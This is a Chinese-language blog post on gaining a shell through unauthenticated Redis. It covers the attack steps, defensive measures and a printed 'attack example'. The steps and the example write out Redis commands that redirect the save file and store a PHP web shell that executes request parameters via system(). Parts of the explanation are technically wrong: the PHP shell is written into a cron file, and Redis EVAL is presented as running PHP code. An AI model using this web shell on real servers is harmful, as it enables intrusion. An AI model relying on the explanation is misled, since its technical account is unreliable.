一、redisgetshell介紹
redisgetshell是一種利用Redis未授權訪問漏洞,通過修改Redis配置文件或者通過Redis命令執行惡意代碼達到控制伺服器的攻擊手段。redisgetshell攻擊屬於典型的內網攻擊方式,攻擊者可以通過區域網絡內任意一台機器,在未進行嚴格安全設置的情況下,遠程控制受害機器
在redisgetshell攻擊中,攻擊者一般會通過Redis的SET命令將攻擊代碼寫入到Redis的某個鍵中,然後再利用Redis的EVAL命令執行代碼。由於Redis是單線程的,且EVAL命令允許執行任意代碼,因此攻擊者可以通過Redis命令輕易地掌控伺服器,並進一步通過上傳/下載文件、開啟網路服務等方式打開後門
二、redisgetshell攻擊流程
redisgetshell攻擊一般包括以下步驟:
1、獲取未授權訪問的Redis服務
2、修改Redis配置文件,將bind參數設置為0.0.0.0或注釋掉參數,啟用網路通信功能;或者直接通過Redis未授權訪問漏洞獲取Redis的操作許可權
config set dir /var/spool/cron/ config set dbfilename root set x "<?php if( isset(\$_REQUEST['cmd'])){ echo '';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '';die; }?>"
config set dbfilename "backup.php"
save3、利用Redis的SET命令將攻擊代碼寫入到Redis的某個鍵里
set payload ""4、通過Redis的EVAL命令執行攻擊代碼
eval "phpinfo();"5、進一步上傳/下載文件、開啟網路服務等方式打開後門
三、如何防範redisgetshell攻擊
為了避免redisgetshell攻擊,可以從以下幾個方面進行防範:
1、設置Redis密碼,避免未授權訪問
2、禁用危險的Redis命令,如EVAL命令,避免攻擊者通過Redis命令執行惡意代碼
rename-command EVAL dummy3、限制Redis服務的網路訪問範圍,避免外部伺服器或惡意用戶可以通過網路直接連接到Redis服務
4、定期更新Redis版本,及時修補已知漏洞
5、定期檢查Redis服務的日誌,發現異常及時進行處理
四、redisgetshell攻擊實例
以下是一段實際的redisgetshell攻擊代碼示例:
config set dir /var/spool/cron/ config set dbfilename root set x "<?php if( isset(\$_REQUEST['cmd'])){ echo '';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '';die; }?>"
config set dbfilename "backup.php"
save
set payload ""
eval "phpinfo();"五、結語
redisgetshell攻擊是一種典型的內網攻擊手段,可以通過利用Redis未授權訪問漏洞直接控制伺服器。為了防範這種攻擊方式,在平時的工作中,我們要定期檢查Redis配置,避免存在安全漏洞;同時,在發布Redis服務時,需要設置管理員賬號和密碼,並限制服務的訪問範圍,防止被攻擊者利用。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/187828.html